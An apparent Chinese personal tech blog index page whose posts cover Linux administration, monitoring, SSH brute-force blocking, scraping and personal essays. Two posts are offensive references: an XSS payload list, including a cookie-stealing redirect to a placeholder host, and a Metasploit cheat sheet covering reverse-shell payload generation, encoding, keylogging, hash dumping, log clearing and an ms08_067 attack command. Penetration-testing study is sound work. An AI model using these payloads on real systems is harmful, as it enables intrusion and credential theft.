fedora21开机执行某命令

发布在 Linux

作为一名手贱党,昨天又把电脑折腾残废了。那就顺便升级成最新的fedora21吧。从18开始,fedora默认rc.local文件不存在,所以需要以root用户执行

1
2
sudo touch /etc/rc.d/rc.local
sudo chmod 755 /etc/rc.d/rc.local

然后编辑这个文件,比如:

1
2
3
#!/bin/sh
mount /dev/sdb1 /mnt/files/
exit 0

重启即可。

评论和分享

xss测试用例

摘录于《XSS跨站脚本攻击剖析与防御》,希望大家支持正版,写的还是不错的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<script>alert(1);</script>
<script>alert('xss');</script>
<script src="xxx://xxx.xxx"></script>
<script>location.href="xxx://xxx.xx/cookie="+escape(document.cookie)</script>
<scr<script>ipt>alert('xss');</scr<script>ipt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=xx.png onerror=alert(/xss/) />
<style>@im\port'\ja\vasc\ript:alert(\"xss\");</style>
<?echo('<scr)';echo('ipt>alert(\"xss\")</script>');?>
<marquee><script>alert('xss')</script></marquee>
<IMG SRC=\"jav&#x09;ascript:alert('xss');\">
<IMG SRC=\"jav&#x0A;ascript:alert('xss');\">
<IMG SRC=\"jav&#x0D;ascript:alert('xss');\">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
"<script>alert(0)</script>
<script src = xxx.xxx.js></script>
</title><script>alert(/xss/)</script>
</textarea><script>alert(/xss/)</script>
<IMG LOWSRC=\"javascript:alert('xss')\">
<IMG OYNSRC=\"javascript:alert('xss')\">
<font style='color:expression(alert(document.cookie))'>
');alert('xss
<img src="javascript:alert('xss')">
<script language="JavaScript">alert('xss')</script>
[url=javascript:alert('xss');]click me[/url]
<body onunload="javascript:alert('xss');">
<body onLoad="alert('xss');">
[color=red' onmouserover="alert('xss')"]mouser over[/color]
"/></a></><img src=1.gif onerror=alert(1)>
window.alert("xss");
<div style="x:expression((window.r==1)?"eval('r=1;alert(String.fromCharCode(88,83,83));'))">
<iframe<?php echo chr(11)?>onload=alert('xss')></iframe>
"><script alert(String.fromCharCode(88,83,83))</script>
'>><marquee><h1>xss</h1></marquee>
'">><marquee><h1>xss</h1></marquee>
'">><script>alert('xss')</script>
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('xss');\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('xss');\">
<script>var var = 1:alert(var)</script>
<STYLE type="text/css">BODY{background:url("javascript:alert('xss')")}</STYLE>
<?='<SCRIPT>alert("xss")</SCRIPT>'?>
<IMG SRC='vbscript:msgbox(\"xss\")'>
"onfocus=alert("xss")"><"
<FRAMESET><FRAME SRC=\"javascript:alert('xss');\"></FRAMESET>
<STYLE>li{list-style-image:url(\"javascript:alert('xss')\");}</SYTLE><UL><LI>XSS
<br size=\"&{alert('xss')}\">
<scrscriptipt>alert(1)</scrscriptipt>
</br style=a:expression(alert(1))>
</script><script>alert(1)</script>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("xss")>
[color=red width=expression(alert(123))][color]
<BASE HREF="javascript:alert('xss');//">
Excute(<MsgBox(chr(88)&chr(83)&chr(83)))<
"></iframe><script>alert(1)</script>
<body onLoad="while(true) alert('xss');">
'"></title><script>alert(111)</script>
</textarea>'"><script>alert(document.cookie)</script>
'""><script language="JavaScript">alert(x \nS \nS);</script>
</script></script><<<<script><>>>><<<script>alert(123)</script>
<html><noalert><noscript>(123)</noscript><script>(123)</script>
<INPUT TYPE="IMAGE" SRC="javascript:alert('xss');">
'></script><script>alert(1)</script>
<script+src=">"+src="http://xx.xx/xx.js"></script>
'>"><script src = "xxx.xxx/xss.js"></script>
}</style><script>a=eval;b=alert;a(b(/xss/.source));</script>
<SCRIPT>document.write("xss")</SCRIPT>
a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
='><script>alert("xss")</script>
<body background=javascript:'"><script>alert(1)</script>></body>
">/XaDos/><script>alert(1)</script><script src="xxxx.xxxx/xx.js"></script>
Data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlenQoMTMzNyk8L3NjcmlwdD4=  
上面的解密后   "></title><script>alert(1337)</script> 注意utf-7
"<marquee><img src=x.png onerror=alert(1)/>
'"><marquee><img src=x.png onerror=alert(1)/>
</div><script>alert(1)</script>
"><iframe src='javascript:alert(1)'></iframe>
<div style="background:url('javascript:alert(1)')">
<img src='java\nscript:alert(1)'>
>"'><img src="javascript:alert(1)">
" style="background:url(javascript:alert(/xss/))"
>"><script>alert(/xss/)</script>
"></title><script>alert(1)</script>
'"</title><font color=red onmouseover=javascript:alert(1)>xss</font>
<SELECT NAME="" onmouerover=alert(1)></select>

评论和分享

不可被证明的爱

发布在 哲理美文

文/丛非从

自我价值感低的人,往往需要被证明才能相信自己被爱,而且证明需要持续不断。而恰恰又是这些证明,将爱渐渐淡化。无数在感情里挫败着的人,经历着这样的悲剧故事。

这很像那个笑话,某女不相信自己是被丈夫爱也不相信自己值得被丈夫专一的,所以总是去验证丈夫的专一:每天回来都要搜索丈夫身上有没有女人的头发。直到没有搜到,还是嚎啕大哭,丈夫不解的问到没有搜到女人头发证明我很专一,你还哭个啥。该女的一席话曾让无数人汗颜:你这挨千刀的,在外面居然连尼姑也要了。

笑归笑,这样的故事我们身边又何尝是少数。潜意识里就不相信自己是被爱的,所以总要证明自己是被爱的,或者证明自己是被爱的。前者的故事很多,某个女孩偶然间知道男友的密码是自己的生日,欣喜若狂,证明了自己是被爱的,然后通过追问需要进一步证明:你是什么时候设的啊。对方答忘了。大约几月呢。对方答忘了。是年前呢还是年后呢……面对这样的追问,不知道听的人会有什么感受。当问的人不能持续证明到自己是被爱的,就开始失落:他是不是不爱我了。后者的故事也很有趣:当我故意关机2个小时,你知道我这段时间关机并且着急才能证明你是爱我的。我手机停机了你主动给我交话费才是爱我的,我过生日你主动记得我生日而且给我买玫瑰花才是爱我的。只有你做了XX,你才是爱我的,如果你没做XX,证明你不是真心爱我。当然,他们的话术常常不是这样,而是:你爱我,就应该……。例如你爱我,就应该每天给我打一个电话。还有更省略的:恋爱不就应该天天联系吗?恋爱不就应该彼此分享所有故事吗?

爱总是需要被证明,才相信爱。如果有一次不能被证明,则就会陷入恐慌。

阅读全文

centos部署Ganglia

发布在 Centos

Ganglia+RRDTool这对组合可以说是不错的机群监控软件了,在centos6下安装是十分简单的,服务端安装

1
2
3
yum install rrdtool-devel
yum install ganglia-gmetad
yum install ganglia-web

然后配置文件基本不用大量修改,位于/etc/ganglia/gmetad.conf

需要修改的就是添加客户端,比如:

1
2
3
data_source "proxy" 192.168.2.28:8749 192.168.2.36:8749 192.168.2.37:8749
data_source "dc" 192.168.2.45 192.168.2.44 192.168.2.43
data_source "v5" 192.168.2.32:8750 192.168.2.33:8750 192.168.2.62:8750 192.168.2.63:8750

不加端口则表示使用客户端默认的8649端口。

客户端安装:yum install ganglia-gmond即可,配置文件位于 /etc/ganglia/gmond.conf ,这里需要注意,如果需要分组管理的话,修改cluster name值和port值,同一分组中的机器的这两个值都必须一致,不同组的机器,这两个值不同。 cluster name的值要与gmetad.conf中的相应条目保持一致;port值的配置需要在udp_send_channel、udp_recv_channel和tcp_accept_channel三个部分同时设定,注间端口不要冲突。

最后,启动服务端和客户端的服务,web访问服务端的url(比如http://127.0.0.1/ganglia/ )就可以看到结果。

我遇到的问题就是某些客户端的内存读取不出来,重起客户端机器即可。原因未知。

评论和分享

iptables禁止某Ip

发布在 Centos

今天登录服务器一看,好家伙:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
tcp        0      0 198.74.121.150:80           38.103.160.12:33873         TIME_WAIT   -                   
tcp 0 0 198.74.121.150:80 38.103.160.12:45654 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:49337 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:35410 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:53982 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:55487 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:38964 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:39560 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:51861 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:60211 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:38490 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:48588 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:51625 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:47497 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:40164 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:42071 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:49687 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:59726 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:52097 TIME_WAIT -
tcp 0 0 198.74.121.150:80 38.103.160.12:46378 TIME_WAIT -

这尼玛绝对是非正常现象,想查看各个链接状态可以用下面的语句

1
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'

结果如下:

1
TIME_WAIT 10968

我就呵呵了,看了一下这个ip,米国的,发现blocklist上面这个IP也上榜了

1
2
3
4
5
6
7
8
9
10
11
12
Date +-1 Min +0100:	Host:	                    Service:	    On Server:	        to:	Status:
15.11.2014 15:00:54 cpanel2.ospdx.com bruteforcelogin hacked-joomla/brobot blocked
15.11.2014 12:00:51 cpanel2.ospdx.com bruteforcelogin hacked-joomla/brobot blocked
14.11.2014 21:07:00 cpanel2.ospdx.com bruteforcelogin hacked-joomla/brobot blocked
14.11.2014 18:05:50 cpanel2.ospdx.com bruteforcelogin hacked-joomla/brobot 1 x blocked
12.11.2014 06:04:33 cpanel2.ospdx.com bruteforcelogin hacked-joomla/brobot blocked
12.11.2014 03:07:11 cpanel2.ospdx.com bruteforcelogin hacked-joomla/brobot blocked
12.11.2014 00:10:14 cpanel2.ospdx.com bruteforcelogin hacked-joomla/brobot blocked
11.11.2014 21:10:53 cpanel2.ospdx.com bruteforcelogin hacked-joomla/brobot blocked
11.11.2014 18:09:53 cpanel2.ospdx.com bruteforcelogin hacked-joomla/brobot blocked
11.11.2014 15:05:37 cpanel2.ospdx.com bruteforcelogin hacked-joomla/brobot blocked
11.11.2014 12:08:18 cpanel2.ospdx.com bruteforcelogin hacked-joomla/brobot 1 x blocked

没啥说的,直接封IP吧,执行
iptables -I INPUT -s ***.***.***.*** -j DROP

如果想解封某ip,把I换成D即可。

最后,可以使用
iptables --list
查看当前规则列表。

评论和分享

一般情况下,python爬虫遇到ajax动态页面一般都是直接分析后模拟ajax请求获得数据。不过今天遇到个网站,由于某些原因不透露网址了,点击搜索按钮后,它先跳转到a页面,然后从a页面跳转到b页面,再由b页面跳回a页面。当完成这2次跳转后,ajax向a页面提交的请求才会返回结果。

也怀疑是不是cookie或者refenen的问题,但最终证实不是因为这个。即便伪造了请求头再访问a页面,返回的也不是真实的结果页面而是一段跳转到b页面的js代码。

既然不知道跳转过程中网站到底干了写什么,那就直接上大杀器吧。

phantomjs可以简单的理解为js解释器,selenium更不用多介绍了,用pip安装即可。
http://phantomjs.org/download.html 下载编译后的包(当然你可以自己下源码),解压后的bin目录中就是我们需要的东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
from selenium import webdriver
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
import time
if __name__ == "__main__":
    dcap = dict(DesiredCapabilities.PHANTOMJS)
   dcap["phantomjs.page.settings.resourceTimeout"] = 5  # 超时
   dcap["phantomjs.page.settings.loadImages"] = False
   # 伪造ua信息
   dcap["phantomjs.page.settings.userAgent"] = ("myua")

# 添加头文件
   # dcap["phantomjs.page.customHeaders.Referer"] = (
   #    "https://www.google.com/"
   #)
   # 代理
   service_args = [
       '--proxy=127.0.0.1:8080',
       #'--proxy-type=http',
       #'--proxy-type=socks5',
       #'--proxy-auth=username:password'
   ]
    driver = webdriver.PhantomJS(
        executable_path='./phantomjs',
        service_args=service_args,
        desired_capabilities=dcap
   )
driver.get("http://www.xxx.cn/")
driver.find_element_by_id('kw').send_keys("xxx") #模仿填写搜索内容
driver.find_element_by_id("btn_ci").click() #模仿点击搜索按钮
time.sleep(7)#等待页面加载
page = driver.page_source
open("res.html","w").write(page)
driver.quit()

其中,我的源码直接放在了bin目录,所以executable_path直接指向当前目录,find_element_by_id这个查看目标网站源码就能知道,sleep的时间也要根据实际情况修改。这里也可以使用driver.implicitly_wait(30),不过这个网站的数据id都是随机生成的,所以我直接使用sleep了。

参考网站:

http://phantomjs.org/quick-start.html

http://blog.chinaunix.net/uid-22414998-id-3692113.html

http://blog.csdn.net/xiaoyao3857/article/details/9180989

https://realpython.com/blog/python/headless-selenium-testing-with-python-and-phantomjs/

评论和分享

metasploit命令参考

发布在 Linux

节选自《metasploit渗透测试指南》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
show  exploits 列出所有渗透攻击模块
show payloads 列出所有攻击载荷
show auxiliary 列出所有辅助模块
search name 搜索
info 列出详细信息
use name 使用
show options 查看参数

show targets 查看某模块支持的目标平台
show advanced 查看高级选项

set autorunscript migrate -f 攻击完成后自动迁移到另一个进程
check 检测目标是否对选定的渗透攻击存在相应的漏洞
exploit 执行渗透攻击
exploit -j 后台执行
exploit -z 成功渗透后不与会话交互
exploit -e encoder 指定攻击载荷编码方式
exploit -h 帮助

sessions -l 列出多个会话
sessions -l -v 列出会话同时列出详细信息
sessions -s scritp 在所有活跃会话中执行特定meterpreter脚本
sessions -K 杀死所有活跃会话
sessions -c cmd 在所有活跃会话上执行某命定
sessions -u sessionID 升级一个普通的win shell 到 meterpreter shell

db_conreate name 创建数据库
db_connect name 链接数据库
db_namp 把namp的扫描结果存入数据库  hosts services查看结果
db_autopwn -h
db_autopwn -p -r-e 对发现的所有端口执行db_autopwn
db_destroy 删除当前数据库
db_destory user:pswd@host:port/dbname
db_status 查看

meterpreter命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
help 帮助
run scriptname 运行meterpreter脚本, 在scripts/meterpreter目录
sysinfo列出受控住记系统信息
ls 列目录
use priv 扩展meterpreter库
ps 列进程
migrate PID 迁移
use incognito 加载incognito功能来盗取用户令牌
list_tokens -u 列出目标主机用户可用令牌
list_tokens -g 同上,列出用户组的
impersonate_token DOMAIN_NAME\\USERNAME
steal_token PID 到去给定进程的可用令牌进行假冒
drop_token 停止假冒令牌
getsystem 提权
shell 利用可用令牌运行shell
execute -f cmd.exe -i 执行cmd
execute -f cmd.exe -i -t  用可用令牌执行cmd

execute -f cmd.exe -i -H -t 用所有可用令牌执行cmd并隐藏该进程
rev2self 回到初始用户
reg commend 操作注册表
setdesktop number 切换用户界面
screenshot 屏幕截图
upload/download file 上传下载文件
keyscan_start/dump/stop  键盘记录
getprivs 提权??
uictl enable keyboart/mouse  操纵目标的键盘鼠标
background 将当前的seterpreter shell 转为后台执行
hashdump 导出目标主机口令hash值
use sniffer 加载嗅探模块
sniffer_interfaces 列出开放大端口
sniffer_dump interfaceID pcapname 启动嗅探
sniffer_start interfaceID packer-buffer 数据包缓冲区嗅探
sniffer_stats interfaceID 嗅探的统计数据
sniffer_stop interfaceID 停止嗅探
clearv 清除日志
timestomp 修改文件属性 反取证调查
reboot 重起


msfpayload命令

1
2
3
4
5
6
7
8
msfpayload -h 帮助
msfpayload windows/meterpreter/bind_tcp O 列出可用的攻击载荷
msfpayload windows/meterpreter/bind_tcp O. 列出可用的攻击载荷配置项
msfpayload windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx X > payload.exe 生成exe

msfpayload windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx R > payload.raw 生成raw原始文件,在msfencode中使用
msfpayload windows/meterpreter/bind_tcp LPORT=xx C > payload.c 生成c格式的shell code
msfpayload windows/meterpreter/bind_tcp LPORT=xx J > payload.java 生成javascript字符串


msfencode 命令

1
2
3
4
5
6
7
-h 帮助
-l 列出可用的编码器
-k 隐藏(不一定每次都可用)
msfencode -i raw文件 -o 输出文件名 -x 指定模板 -e 编码器 -c 次数 -t 生成什么格式
msfpayload windows/meterpreter/bind_tcp LPORT=xx R|msfencode -e x86/_countdown -c 5 -t raw| msfencode -e x86/shikata_ga_nai -c 5 -t exe -o mulit_encode.exe
多次编码示例
msfencode -i xx.raw BufferRedister=ESI -e x86/alpha_mixed -t c  创建一个纯数字字母的shellcode 由esi指向,c语言输出


msfcli命令

1
2
3
4
msfcli|gerp exploit 列出攻击模块
msfcli|grep exploit/windows 列出windows相关模块
msfcli expliot/windows/smb/ms08_067_netapi PAYLOAD= windows/meterpreter/bind_tcp LPORT=443 RHOST=x.x.x.x E
对目标发起netapi攻击 bind_tcp载荷 绑定443端口

评论和分享

centos安装denyhosts

发布在 Centos

最近不知道得罪了哪路大神,一直都有坏人暴力破解本站的SSH登录密码。想安安静静的写博客就这么难么…没办法,那就安个denyhosts吧。

centos下直接使用Yum安装即可:yum install denyhosts.noarch

当然也可以下载编译安装。安装好后,配置文件是/etc/denyhosts.conf,参数说明如下:

SECURE_LOG = /var/log/secure#ssh日志文件

HOSTS_DENY = /etc/hosts.deny #将阻止IP写入到hosts.deny

PURGE_DENY =30m#过多久后清除已阻止IP

BLOCK_SERVICE = sshd#阻止服务名

DENY_THRESHOLD_INVALID = 5//允许无效用户(在/etc/passwd未列出)登录失败次数,允许无效用户登录失败的次数.

DENY_THRESHOLD_VALID = 10#允许普通用户登录失败的次数

DENY_THRESHOLD_ROOT = 1//允许root登录失败的次数

DENY_THRESHOLD_RESTRICTED = 1#设定 deny host 写入到该资料夹

WORK_DIR = /usr/share/denyhosts/data #将deny的host或ip纪录到Work_dir中

SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES

HOSTNAME_LOOKUP=YES #是否做域名反解

LOCK_FILE = /var/lock/subsys/denyhosts #将DenyHOts启动的pid纪录到LOCK_FILE中,已确保服务正确启动,防止同时启动多个服务。

ADMIN_EMAIL = a@b.com #设置管理员邮件地址

SMTP_HOST = localhost

SMTP_PORT = 25

SMTP_FROM = DenyHosts nobody@localhost

SMTP_SUBJECT = DenyHosts Report

AGE_RESET_VALID=5d

AGE_RESET_ROOT=25d

AGE_RESET_RESTRICTED=25d

AGE_RESET_INVALID=10d

DAEMON_LOG = /var/log/denyhosts#自己的日志文件

DAEMON_SLEEP = 30s

DAEMON_PURGE = 1h#该项与PURGE_DENY 设置成一样,也是清除hosts.deniedssh 用户的时间

配置完成后,启动服务并设置开机启动:

1
2
service denyhosts start
chkconfig denyhosts on

然后查看 /etc/hosts.deny 文件,发现里面已经有记录了:

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@miss_yi ~]# tail /etc/hosts.deny
# DenyHosts: Mon Oct 20 17:19:38 2014 | ALL: 74.221.172.28
ALL: 74.221.172.28
# DenyHosts: Mon Oct 20 17:19:38 2014 | ALL: 117.21.173.175
ALL: 117.21.173.175
# DenyHosts: Mon Oct 20 17:19:38 2014 | ALL: 112.78.3.196
ALL: 112.78.3.196
# DenyHosts: Mon Oct 20 17:19:38 2014 | ALL: 181.143.230.74
ALL: 181.143.230.74
# DenyHosts: Mon Oct 20 17:19:38 2014 | ALL: 216.151.221.194
ALL: 216.151.221.194
[root@miss_yi ~]# wc /etc/hosts.deny
771 4628 30294 /etc/hosts.deny

评论和分享

今天更新文件时候,svn突然不好用了,报错:

1
2
[xsy@miss_yi bomupload]$ svn rm bom/upload/45299790@qq.com_1413255461.74.zip
svn: E200009: 'bom/upload/45299790@qq.com_1413255461.74.zip': a peg revision is not allowed here

原因就在于文件名中的@符号,解决办法如下:

1
2
[xsy@miss_yi bomupload]$ svn rm bom/upload/45299790\@qq.com_1413255461.74.zip@
D bom/upload/45299790@qq.com_1413255461.74.zip

在文件名最后添加@以及在中间的@前添加‘\’即可。

这个方法解决了我的问题,更多方法参考https://stackoverflow.com/questions/757435/how-to-escape-characters-in-subversion-managed-file-names

评论和分享

僵尸新娘是为数不多的几部从高中看到现在依然不会厌倦的的电影之一,除了各个经典台词之外,里面的各种音乐也是超级棒。

不过始终有一个问题盘桓在我脑中:维克多最后真的是因为爱才迎娶艾米莉的吗?

不得不说,艾米莉对维克多是十分好的。即便维克多欺骗了自己,也很快的原谅了他,最后还用自己的身体为维克多挡下致命一刀。但促使维克多做出决定的,却是在他得知心中的白玫瑰——维多利亚要嫁给别人,而艾米莉宁愿让他走也不愿伤害他的情况下。

维克多并不知道维多利亚是被迫嫁人,只好颓然的说了一句:“i’m too late.”在这种情况下,无意间听到了艾米莉对骨耐德回答,将会是一种怎样的心态呢?一方面,一个女人弃自己而去;另一方面,一个女人对自己如此深情。所以当骨耐德老人问他是否明白这种选择付出的代价时,维克多握起艾米莉的手,说:“i do.”

但事情总是戏剧性的,当维克多对艾米莉说出了完整的婚礼誓言,艾米莉却看到了角落中的维多利亚。艾米莉最后决定放弃维克多,对他说出了相当经典的台词:“I was a bride. My dreams were taken from me. But now - now I’ve stolen them from someone else. I love you, Victor, but you are not mine.”

阅读全文
作者的图片

Roy

微信公众号:hi-roy


野生程序猿


China